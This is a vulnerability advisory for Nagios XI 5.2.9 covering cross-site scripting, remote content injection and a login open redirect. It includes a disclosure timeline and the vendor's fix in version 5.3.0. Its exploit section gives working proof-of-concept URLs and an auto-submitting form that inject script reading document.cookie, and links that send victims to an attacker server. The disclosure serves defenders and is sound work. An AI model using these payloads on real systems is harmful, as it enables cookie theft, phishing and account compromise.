Nagios XI 5.2.9 Cross Site Scripting / Open Redirect

Credit: hyp3rlinx
Risk: Medium
Local: No
Remote: Yes

[+] Credits: John Page aka hyp3rlinx [+] Website: [+] Source: [+] ISR: ApparitionSec Vendor: ============== Product: ================ Nagios XI v5.2.9 Nagios XI provides network, server, and application monitoring in one easy to configure package along with advanced alerting and reporting. Vulnerability Type: =================== XSS / Cookie Theft Remote Content Injection Authentication Open Redirect CVE Reference: ============== N/A Vulnerability Details: ===================== Nagios XI Admin area contains multiple security issues. [ Cross Site Scripting - XSS ] ============================== Several XSS vulnerabilities using GET and POST requests that allow Cookie theft and arbitrary client side code execution in the security context of the current users browser session. [ Remote Content Injection ] ============================ The 'xiwindow' URL parameter used to load content into an IFRAME is not checked allowing remote content to be injected that could allow phishing attacks. [ Authentication Open Redirect ] ================================ Nagios Admin login page is insecure in that it allows the user authenticating to be redirected to an attacker server if the user authenticates using an attacker supplied link or pop up webpage. References: User should upgrade to the latest version of Nagios XI, 5.3.0 Exploit code(s): =============== [ Cross Site Scripting - XSS ] ============================== 1) http://victim-server/nagiosxi/includes/components/ccm/ajax.php?cmd=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E&type=cmd&opt=&token= 2) <form action=" http://victim-server/nagiosxi/includes/components/highcharts/exporting-server/index.php" method="post"> <input type="hidden" name="type" value="application/pdf"> <input type="hidden" name="svg" value="</script><script>alert(document.cookie)</script>"> <script>document.forms[0].submit()</script> </form> [ Remote Content Injection ] ============================ http://victim-server/nagiosxi/admin/?xiwindow=http://attacker-server [ Authentication Open Redirect ] ================================ http://victim-server/nagiosxi/login.php?redirect=http://attacker-server Disclosure Timeline: =================================== Vendor Notification: July 22, 2016 Vendor Acknowledgement: July 22, 2016 Vendor Fixes Releases New Version 5.3.0 October 20, 2016 : Public Disclosure Exploitation Technique: ======================= Remote Severity Level: ================ Low [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. hyp3rlinx


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